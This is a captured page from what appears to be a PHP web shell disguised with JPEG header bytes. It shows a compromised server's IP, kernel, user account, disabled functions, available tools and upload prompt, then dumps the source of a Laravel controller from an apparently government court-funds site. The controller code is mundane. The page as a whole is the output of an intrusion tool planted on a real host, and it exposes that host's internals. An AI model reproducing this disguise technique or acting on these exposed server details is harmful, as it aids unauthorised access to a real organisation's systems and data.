ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.117.186.75 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/ |
Upload File : |
<?php namespace App\Http\Controllers; use App\Http\Requests; use App\Role; use App\User; use Auth; use Entrust; use App\Permission; use Illuminate\Http\Request; use DB; class ActiveMonthController extends ParentController { /** * Create a new controller instance. * * @return void */ public $division; public function __construct(Request $request) { $this->division = $request->session()->get('division'); } /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ //Returning Permission Form public function create() { //getting division value from constructor $division = $this->division; //$divisionid = DB::table('tbldivision')->select('divisionID')->where('division',$division)->pluck('divisionID'); //$id=$divisionid[0]; $date = date('Y'); $data['court'] = DB::table('tbl_court')->get(); $data['activemonth'] = DB::table('tblactivemonth') ->join('tbl_court','tbl_court.id','=','tblactivemonth.courtID') //->where('tblactivemonth.year','=',$date) ->get(); //dd($data['activemonth']); return view('activeMonth.active_month',$data); } public function store(Request $request) { $this->validate($request, [ 'year' => 'required|integer', 'month' => 'required|alpha' ]); $court = $request['court']; $year = $request['year']; $month = $request['month']; $count = DB::table('tblactivemonth')->where('courtID','=',$court)->count(); if($count == 1) { $update= DB::table('tblactivemonth') ->where('courtID', '=',$court) ->update(array('month' => $month,'year' => $year)); // updating current active month session $request->session()->put('activeMonth', $month); $request->session()->put('activeYear', $year); $request->session()->put('court', $year); $this->addLog(" active month set to ".$month."/".$year. " for ".$court." Court "); return redirect("/activeMonth/create")->with('message', ' operation was successfully performed'); } elseif($count == 0) { $update= DB::table('tblactivemonth') ->insert(array('month' => $month,'year' => $year,'courtID'=>$court)); $this->addLog(" active month set to ".$month."/".$year. " for ".$court." Court "); $request->session()->put('activeMonth', $month); $request->session()->put('activeYear', $year); $request->session()->put('court', $year); return redirect("/activeMonth/create")->with('message', ' operation was successfully performed'); } else { return redirect("/activeMonth/create")->with('error_message',' operation h failed. Please try again'); } } }